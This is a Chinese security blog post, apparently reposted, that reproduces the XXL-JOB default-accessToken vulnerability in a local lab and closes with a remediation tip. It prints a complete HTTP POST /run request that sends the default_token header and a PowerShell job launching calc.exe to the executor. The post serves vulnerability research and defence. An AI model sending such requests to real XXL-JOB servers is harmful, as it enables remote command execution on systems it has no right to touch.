经验首页 前端设计 程序设计 Java相关 移动开发 数据库/运维 软件/图像 大数据/云计算 其他经验
当前位置:技术经验 » 其他 » 网络安全 » 查看文章
xxl-job默认accessToken命令执行漏洞复现
来源:cnblogs  作者:chm0d的安全避风港  时间:2023/11/3 9:35:04  对本文有异议

起因:

昨天看见微步发布XXL-JOB默认accessToken身份绕过漏洞,之前hw期间遇到过几次,都没弱口令和未授权,对其有点印象,遂复现一下。

漏洞影响:2.3.1和2.4

 环境准备:

1、下载即可:https://github.com/xuxueli/xxl-job/releases/tag/2.4.0

  将其导入IDEA中,即可进行分析。环境要求:Maven3+、Jdk1.8+、Mysql5.7+

ps:关于IDEA和maven配置网上文章很多,不过多赘述。

2、mysql数据库创建xxl_job数据库,解压下载的文件将doc/db/下的tables_xxl_job.sql打开运行里面的sql脚本。

3、配置对应的数据库账号密码

 4、然后运行就可以了,需要用到8080、8081可以自己在application.properties里面的server.port修改

 

漏洞分析复现:

 通过微步的漏洞通报说是

  1. 然后就看回到项目中看这个applictation.properties文件,*.propertiesspring项目中配置文件的后缀,配置信息基本都在这个.peoperties文件中。文件位于src/main/resources/application.properties

 参照官方文档中的:https://www.xuxueli.com/xxl-job/#%E6%AD%A5%E9%AA%A4%E4%B8%80%EF%BC%9A%E8%B0%83%E5%BA%A6%E4%B8%AD%E5%BF%83%E9%85%8D%E7%BD%AE%EF%BC%9A

 默认情况下是非空的,也就是xxl.job.accessToken=default_token,所以就是利用点在这里。不知道作者这么会给了个默认值,翻看之前的版本accessToken都为空,直到2.3.1后才出现默认值。

关于accessToken官方文档也给出了样例:https://www.xuxueli.com/xxl-job/#%E5%85%AD%E3%80%81%E8%B0%83%E5%BA%A6%E4%B8%AD%E5%BF%83/%E6%89%A7%E8%A1%8C%E5%99%A8%20RESTful%20API

跟着样例即可复现成功,需要注意的是这里脚本的选择,由于我是win下运行的所以使用到了powershell。

ps:跟着样例,跟着样例,跟着样例

  1. POST /run HTTP/1.1
  2. Host: 127.0.0.1:9999
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. DNT: 1
  8. Connection: close
  9. XXL-JOB-ACCESS-TOKEN: default_token
  10. Upgrade-Insecure-Requests: 1
  11. Sec-Fetch-Dest: document
  12. Sec-Fetch-Mode: navigate
  13. Sec-Fetch-Site: none
  14. Sec-Fetch-User: ?1
  15. Content-Length: 365
  16. {
  17. "jobId": 1,
  18. "executorHandler": "demoJobHandler",
  19. "executorParams": "demoJobHandler",
  20. "executorBlockStrategy": "SERIAL_EXECUTION",
  21. "executorTimeout": 0,
  22. "logId": 1,
  23. "logDateTime": 1586629003729,
  24. "glueType": "GLUE_POWERSHELL",
  25. "glueSource": "calc.exe",
  26. "glueUpdatetime": 1586699003758,
  27. "broadcastIndex": 0,
  28. "broadcastTotal": 0
  29. }

修复:

把accessToken置空就好啦,使用accessToken时设置强accessToken或随机accessToken

 

原文链接:https://www.cnblogs.com/chm0d/p/17805168.html

 友情链接:直通硅谷  点职佳  北美留学生论坛

本站QQ群:前端 618073944 | Java 606181507 | Python 626812652 | C/C++ 612253063 | 微信 634508462 | 苹果 692586424 | C#/.net 182808419 | PHP 305140648 | 运维 608723728

W3xue 的所有内容仅供测试,对任何法律问题及风险不承担任何责任。通过使用本站内容随之而来的风险与本站无关。
关于我们  |  意见建议  |  捐助我们  |  报错有奖  |  广告合作、友情链接(目前9元/月)请联系QQ:27243702 沸活量
皖ICP备17017327号-2 皖公网安备34020702000426号